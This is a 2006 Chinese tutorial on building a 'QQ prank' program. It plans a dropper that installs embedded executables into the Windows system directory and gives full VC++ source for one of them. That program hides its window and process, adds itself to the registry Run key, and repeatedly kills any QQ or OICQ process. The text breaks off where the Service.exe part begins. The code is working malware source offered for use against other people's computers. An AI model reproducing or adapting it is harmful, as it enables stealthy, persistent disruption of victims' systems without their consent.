亲手打造一个QQ恶作剧程序
作者: 来源: 添加时间:2006-5-24 13:38:07在WinNT中,一些后台服务程序是随着系统的启动而自动加载的。用户也可以通过控制面板中的服务管理控制台对服务的属性进行灵活的设置。甚至在用户没有登陆的情况下这些服务程序也能启动,象Ftp服务,WWW服务和一些数据库就是以服务的形式存在于NT服务器上从而实现了无人职守。在NT操作系统中,所有的后台服务全都由服务控制管理器进行统一管理,这些后台服务的状态数据都保存在服务控制管理器数据库中。所以要想创建一个新的后台服务,在应用程序的主模块里应首先调用函数OpenSCManager打开该数据库,再调用函数CreateService在此数据库中创建1个新的服务线程对象,并将该线程对象启动属性设置为随系统启动自动加载,这样NT在重新启动时该线程就会由NT自动启动。完成这一步,仅仅实现了后台服务线程对象的注册,还没有建立与服务控制管理器的联结.要想启动服务可以通过函数StartService来完成,具体的过程我们将在编写Service.exe的时候介绍。
说了这么多,你也许都看得不耐烦了吧,OK,现在正式切入主题,开始动手打造我们的QQ恶作剧程序.程序由三部分组成,主程序funny.exe,kernel.exe,Service.exe。首先我们先把kernel.exe和Service.exe程序写好,这两个是完成主要功能的程序,然后将其转换成16进制代码放在在funny.exe定义的两个全局字符数组中,当funny.exe运行的时候根据操作系统的版本决定在系统目录下创建kernel.exe还是Service.exe.kernel.exe将被创建到Win9X的系统目录下,Service.exe将被创建到Win2000/XP的系统目录下。
现在我们开始来编写kernel.exe:
打开VC++6.0(啊?不要告诉我你电脑上没有装吧,那赶紧去装一个,不然你怎么写程序呢?呵呵)、 运行AppWizard创建一个对话框应用程序。工程名为kernel。在CKernelDlg类中添加HideWindow(), HideProcess(), Reg()三个函数。代码如下:
//隐藏对话框窗体
void CKernelDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW ;
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//将进程注册为服务模式的进程从而隐藏自身
void CKernelDlg::HideProcess()
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)
GetProcAddress(hDLL,"RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(hDLL);
}
//修改注册表,开机时自动运行
void CKernelDlg::Reg()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\kernel.exe");
DWORD dwValue;
CRegKey Key;
LPCTSTR lpszKeyname="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
if(Key.Open(HKEY_LOCAL_MACHINE,lpszKeyname)==ERROR_SUCCESS)
if( Key.QueryValue(dwValue,"Kernel")!=ERROR_SUCCESS)
Key.SetValue(lpsysfilename,"Kernel");
Key.Close();
}
这里用到了CRegKey类,需要在KernelDlg.cpp中添加头文件atlbase.h关于CRegKey的详细用法可以参考MSDN帮助文档.然后利用类向导添加WM_TIMER消息,并在消息响应函数中加入以下代码:
void CKernelDlg::OnTimer(UINT nIDEvent)
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
//枚举系统中的所有进程并保存在数组类对象m_PEArray中
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));
}
int i;
//在保存进程的数组中查找是否含有QQ,OICQ,qq,oicq字样的进程找到立即将其结束
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray[i].szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray[i].th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}
CDialog::OnTimer(nIDEvent);
}
其中m_PEArray的定义如下:CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;,在对话框初始化函数中加入以下代码:
BOOL CKernelDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隐藏对话框窗口
HideProcess(); //Win9x下在任务管理器中隐藏进程
Reg(); //改写注册表,开机自动运行
SetTimer(1,500,NULL); //设定记时器,不断刷新进程数组,并寻找QQ程将其结束
return TRUE;
}
这样kernel.exe程序就完成了,现在可以编译连接成可执行文件了.(后附工程文件).
编写Service.exe: